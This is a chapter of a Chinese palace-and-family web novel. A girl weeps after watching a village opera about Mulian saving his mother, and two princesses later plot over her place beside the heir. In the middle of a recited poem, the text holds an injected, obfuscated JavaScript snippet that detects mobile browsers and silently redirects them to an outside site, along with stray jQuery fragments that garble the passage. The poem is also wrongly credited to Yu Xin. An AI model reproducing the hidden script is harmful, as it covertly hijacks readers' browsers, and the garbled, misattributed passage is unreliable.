“车大姑娘！快！庄外搭了戏台子，要唱大戏了！”三个彩兴冲冲地围住车和子，不由分说便簇拥着她朝山庄大门走去。


    刚到门口，一阵“噼噼啪啪”的喧闹锣鼓声便扑面而来，夹杂着乡民们的吆喝与孩童的嬉笑。


    车和子心知肚明，这三个丫头想看戏，又怕沈浩不去，便拉她出来当“幌子”。她无奈道：“你们想看戏，拉我出来做什么？”


    彩云嘻嘻一笑，凑近低语：“和子不去，大公子哪肯赏脸？我们不就沾不上您的光，看不成戏了嘛！”


    原来如此。沈浩得知今日戏台要演车和子喜欢的《目连救母》，特意让三个彩来探她的口风。


    “《目连救母》？”车和子微微一怔，随即点头，“好，去看。”


    三个彩顿时欢呼雀跃，拍手笑道：“戏快开锣了！咱们得赶紧！”


    戏台就搭在沈家山庄大门不远处，一座有些年头的二层木台子。台柱上挂着褪色发白的红绿绸布，在晚风中飘荡。背景幕布更是简陋粗糙，歪歪扭扭地画着些神鬼图案，色彩浓艳却透着乡野草台的粗犷气息。


    车和子与三个彩挤在一张条凳上坐下，沈浩则坐在不远处特意为他准备的太师椅上。山庄里出来看戏的人不多，大多是附近十里八乡的庄户人家，台上演员也都是些农闲时爱唱两嗓子的乡民。


    彩霞指着那花花绿绿的布景，扑哧一笑：“明明是阴曹地府的景儿，画得倒像猪八戒娶媳妇的洞房，红彤彤一片！”


    “哈哈哈！”这话引得周围一阵哄笑。


    “锵——！”一声震耳欲聋的锣响，戏正式开场。


    两个画着鬼脸、穿着破烂戏服的“小鬼”翻着筋斗上了台，插科打诨，唱念着地府的阴森恐怖。


    “好！”


    “再来一个！”台下观众纷纷叫好。


    正热闹间，一位身着朴素僧衣、手提竹篮的年轻僧人缓步登场，神情悲悯。


    小鬼喝道：“呔！来者何人？”


    那僧人双手合十，声音清朗：“阿弥陀佛，贫僧目连。”


    他转过身，面向台下，目光仿佛穿透虚空，唱腔哀婉，诉说着对失散母亲的深切思念与寻母决心。


    两个小鬼故意夸大其词，用地狱的刀山火海、油锅拔舌吓唬他。


    可目连神色坚定，不为所动，执意要去那丰都鬼城寻母。


    小鬼无奈，只得引着他，一步三摇地走向后台。


    紧接着，锣鼓点一变，气氛陡然阴森。一位披头散发、衣衫褴褛的老妇人（刘氏）被铁链锁着，由两个凶神恶煞的小鬼押解上场。铁链拖地，发出刺耳的“哗啦”声。


    小鬼狞笑：“老虔婆！今日是上刀山，还是下火海？选一个吧！”


    刘氏步履蹒跚，仰天悲泣，唱腔凄厉，字字泣血：


    “娘不该在佛堂咒骂神圣，


    娘不该用荤油污了佛灯；


    娘不该将白骨花园攘定，


    娘不该打僧骂道，毁谤神灵！


    娘不该不听菩言，开了五荤，


    今日里身受这无边灾星！


    我的儿呀！为娘悔不当初啊——！”


    （改编自京剧《目连救母》）


    《目连救母》本就是中元节祭奠亡魂的应节戏。戏文里讲的是因果报应——人在世间造下罪孽，死后便要坠入地狱受苦。而地狱中最残酷的刑罚，并非刀山火海，而是“饥渴狱”——任何食物入口，皆化作灰烬，永世不得饱腹。盂兰盆节，便是为超度这些在地狱受苦的亡魂而设。


    演到此处，车和子只觉得胸口被什么东西狠狠堵住，眼眶瞬间发热。台上刘氏那撕心裂肺的悔恨与呼唤，仿佛穿透时空，重重敲击在她心上。


    就在刘氏饿得奄奄一息，蜷缩在地时，目连终于寻至！母子相见，抱头痛哭，诉不尽离情别苦。目连跪地苦苦哀求，欲救母亲脱离苦海。


    然而，小鬼厉声阻拦，更有威严的冥在后台高声宣判：“修正不果，造孽过多！打入铁围城，永世不得超生！”声音如同雷霆，在简陋的戏台上回荡。


    小鬼们不由分说，强行拖走哭嚎的刘氏。台上，只剩下目连一人，孤零零地跪在空荡荡的戏台中央，绝望地望着母亲消失的方向，身影被昏黄的灯光拉得细长而凄凉。


    刘氏是无辜的吗？戏文里说，她下地狱，确是因生前造下的口业与不敬之罪。


    一念至此，车和子猛地想起自己的母亲。母亲……她会不会也在地狱的某个角落，承受着这样的苦楚？


    一阵凉风吹过，带着夜露的湿气。车和子再也无法抑制，滚烫的泪水夺眶而出！她猛地站起身，不顾周围惊诧的目光，转身便朝着戏台外漆黑的夜色中跑去——她不愿让人看见自己此刻的脆弱与狼狈。


    沈浩见状，立刻起身要追。一只纤细却有力的手却轻轻按住了他的肩膀。


    “沈大公子，”一个温婉却带着不容置疑的声音响起，“让我去吧。”


    沈浩回头，见是雍王妃崔令舒，眉头一皱，语气不耐：“三王妃，我家的事，与您何干？”


    崔令舒微微一笑，抬手指向戏台另一侧。沈浩顺着望去，只见一位身着华服、气质高华的美人正款款朝他们走来，正是他的胞姐，魏王妃沈舍那。


    崔令舒压低声音，带着一丝善意的提醒：“若是我弟弟对一个小姑娘这般上心，我这做姐姐的……恐怕也难以安心呢。”


    沈浩看着姐姐走近的身影，心头一凛，终究没敢再追出去。


    星稀月朗，月光如纱，轻柔地笼罩着山庄外低矮的农舍和静谧的田野。


    一棵虬枝盘结的老枣树下，车和子背靠着粗糙的树干，压抑许久的泪水终于决堤。她哭了很久，直到筋疲力尽，才渐渐止住抽泣。月光下，她清秀的脸庞布满泪痕，眼神空洞地望着远处模糊的山影。她的内心仿佛翻腾：母亲的音容笑貌在眼前挥之不去。那戏台上的刘氏，那凄厉的哭喊，像一把钝刀反复切割着她的心。母亲真的放下滔天大罪，母亲真的在地狱受苦吗？这无边的悔恨和无力感，几乎要将她吞噬……


    “车姑娘，我们还真是有缘。”一个温和的声音打破了寂静。崔令舒不知何时已来到树下，递过一方素净的丝帕，“上回中元节见你，是在为生者垂泪；这次见你，却是在为逝者伤怀。”


    车和子默默接过丝帕，轻轻拭去脸上的泪痕。


    “是想念母亲了吗？”崔令舒柔声道，她已知晓朱夫人过世的消息，“对于母亲而言，孩子能平安喜乐地活下去，或许才是对她最大的慰藉。”


    她顿了顿，目光沉静地看着车和子：“人有逆天之时，天无绝人之路。车姑娘，路是自己走出来的，不是别人给的。害怕没有用，只有自己变得强大，才能真正保护你想保护的人。”


    这番话如同惊雷，在车和子心中炸响。保护……杏子！是的，只有自己足够强大，才能护住妹妹不受伤害！


    就在这时，一个清冷而富有韵味的女声，吟诵着一段诗文，由远及近：


    “若夫明妃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289039|166573||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去时，仰天太息。


    紫台稍远，关山无极。


    摇风忽起，白日西匿。


    陇雁少飞，代云寡色。


    望君王兮何期？终芜绝兮异域。”


    （庾信《哀江南赋》中关于王昭君的片段）


    车和子循声望去，只见一位身姿高挑、容貌明艳的女子款步而来。她凤目凛然，眉宇间带着一股英气，五官轮廓让车和子隐隐觉得有些熟悉，却又说不出像谁。


    崔令舒介绍道：“车大姑娘，这位是沈大公子的姐姐，魏王妃。”


    竟是沈舍那！车和子连忙行礼，同时悄悄打量着这位传说中的沈王妃。她乌黑浓密的长发只用两三支素雅的玉簪绾住，身上的长裙虽料子名贵，却无过多繁复装饰，通身透着一种低调的华贵与清冷。


    沈舍那的目光也落在车和子身上，带着审视的意味。这小姑娘虽一身素白孝服，但那衣料却是上好的吴中云锦，暗纹在月光下若隐若现。然而，再精美的织物，也难掩她此刻梨花带雨、我见犹怜的绝色姿容。沈舍那唇角微扬，淡淡道：“车大姑娘，好相貌。”


    “多谢王妃夸奖。”车和子垂眸应道“方才王妃吟诵的诗文……极好。”


    沈浩在一旁听着，却有些不以为然：“哼！我们大周强盛，才不会靠送女子和亲来换取什么和平！”


    车和子闻言，抬眼反驳道：“昭君为国牺牲小我，乃是忠孝两全之举。若换作是你，沈大公子，让你娶一位漠北公主，可换得国家百年太平，你可愿意？”


    沈浩被她噎住，一时语塞，气鼓鼓地扭过头去。


    崔令舒笑着打圆场：“沈家何等门第，自然只有大周的公主才堪匹配。沈公子怎么会看得上漠北的公主呢？”


    沈舍那的目光始终停留在车和子身上。这个女孩，漂亮，聪明，言辞锋利，难怪弟弟会对她如此上心。可弟弟与瑞阳公主的婚事已是板上钉钉……这样一个出色的少女留在弟弟身边，对沈家绝非好事。她眼底掠过一丝不易察觉的寒芒，面上却带着赞许的微笑：“车姑娘方才的解释，我很喜欢。” 她话锋一转，看向沈浩，“浩儿，领着妹妹们回去吧。天色不早，该用晚膳了。”


    沈浩如蒙大赦，连忙应声，招呼着和子与三个彩离开。


    看着他们远去的背影，沈舍那脸上的笑容渐渐敛去，声音恢复了清冷：“令舒，你说，若你我成婚前，丈夫的院子里就有这样一位姑娘，心中会作何感想？”


    崔令舒玩味地笑了笑：“若是我，定会拿出最心爱之物去讨好她，向她请教，如何才能获得丈夫的欢心呢。”


    沈舍那秀眉微蹙：“令舒，你是存心气我吗？”


    崔令舒收起玩笑，正色道：“我又不是你，有娘家这般倚仗。舍那，换作是你，会如何？”


    沈舍那望向车和子消失的方向，月光在她眼中映出冰冷的寒星：“若有人可能影响我弟弟的前程……我定会将她除去。”她语气平淡，却带着不容置疑的决绝，“既然这位小姑娘母亲新丧，送她去佛寺清修，为母祈福，倒是个清静去处。”


    崔令舒摇头轻笑：“舍那，你还不懂吗？男女之情，越是阻拦，男人便越是念念不忘。你不如找个机会，问问那车姑娘，她心中可有喜欢之人？若她无意于浩儿，岂不皆大欢喜？”


    她顿了顿，笃定地补充道：“而且我猜……那位车姑娘，多半是不喜欢浩儿的。”


    沈舍那沉默片刻，转身望向山庄内渐次亮起的灯火，轻声道：“但愿如此吧。”